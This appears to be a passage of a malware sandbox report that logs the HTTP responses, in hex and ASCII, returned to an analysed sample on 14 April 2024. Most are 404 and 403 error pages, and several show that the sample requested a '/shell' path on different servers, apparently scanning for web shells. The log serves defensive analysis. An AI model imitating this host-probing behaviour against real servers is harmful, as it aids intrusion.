Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:16 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:16 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:16 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiDate: Sun, 14 Apr 2024 02:01:16 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gvs 1.0Date: Sun, 14 Apr 2024 02:01:17 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 0Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gvs 1.0Date: Sun, 14 Apr 2024 02:01:17 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 0Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:01:16 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:17 GMTServer: Apache/2.2.15 (CentOS) DAV/2 mod_fcgid/2.3.9 mod_ssl/2.2.15 OpenSSL/1.0.1e-fipsContent-Length: 203Keep-Alive: timeout=5, max=120Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Sun, 14 Apr 2024 02:01:20 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:20 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:20 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:20 GMTServer: Apache/2.4.56 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:21 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:22 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found Content-Length: 400Date: Sun, 14 Apr 2024 02:01:22 GMTKeep-Alive: timeout=5Connection: keep-aliveServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 55 52 4c 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 54 59 4c 45 53 48 45 45 54 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 77 61 72 6f 6f 74 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 55 52 4c 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 69 6d 67 20 73 72 63 3d 22 2f 77 61 72 6f 6f 74 2f 73 79 73 74 65 6d 5f 61 72 72 6f 77 2e 67 69 66 22 20 77 69 64 74 68 3d 22 32 31 22 20 68 65 69 67 68 74 3d 22 32 31 22 20 61 6c 74 3d 22 22 20 62 6f 72 64 65 72 3d 22 30 22 3e 0a 09 3c 70 20 63 6c 61 73 73 3d 22 73 79 73 74 65 6d 5f 69 6e 66 6f 22 3e 0a 09 09 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 09 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>404 URL Not Found</title><link rel="STYLESHEET" type="text/css" href="/waroot/style.css"></head><body><h1>URL Not Found</h1><img src="/waroot/system_arrow.gif" width="21" height="21" alt="" border="0"><p class="system_info">The requested URL was not found on this server.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 03:51:46 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 282Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:23 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:26 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:26 GMTServer: Apache/2.4.34 (Ubuntu)Content-Length: 278Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 34 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.4.34 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:27 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
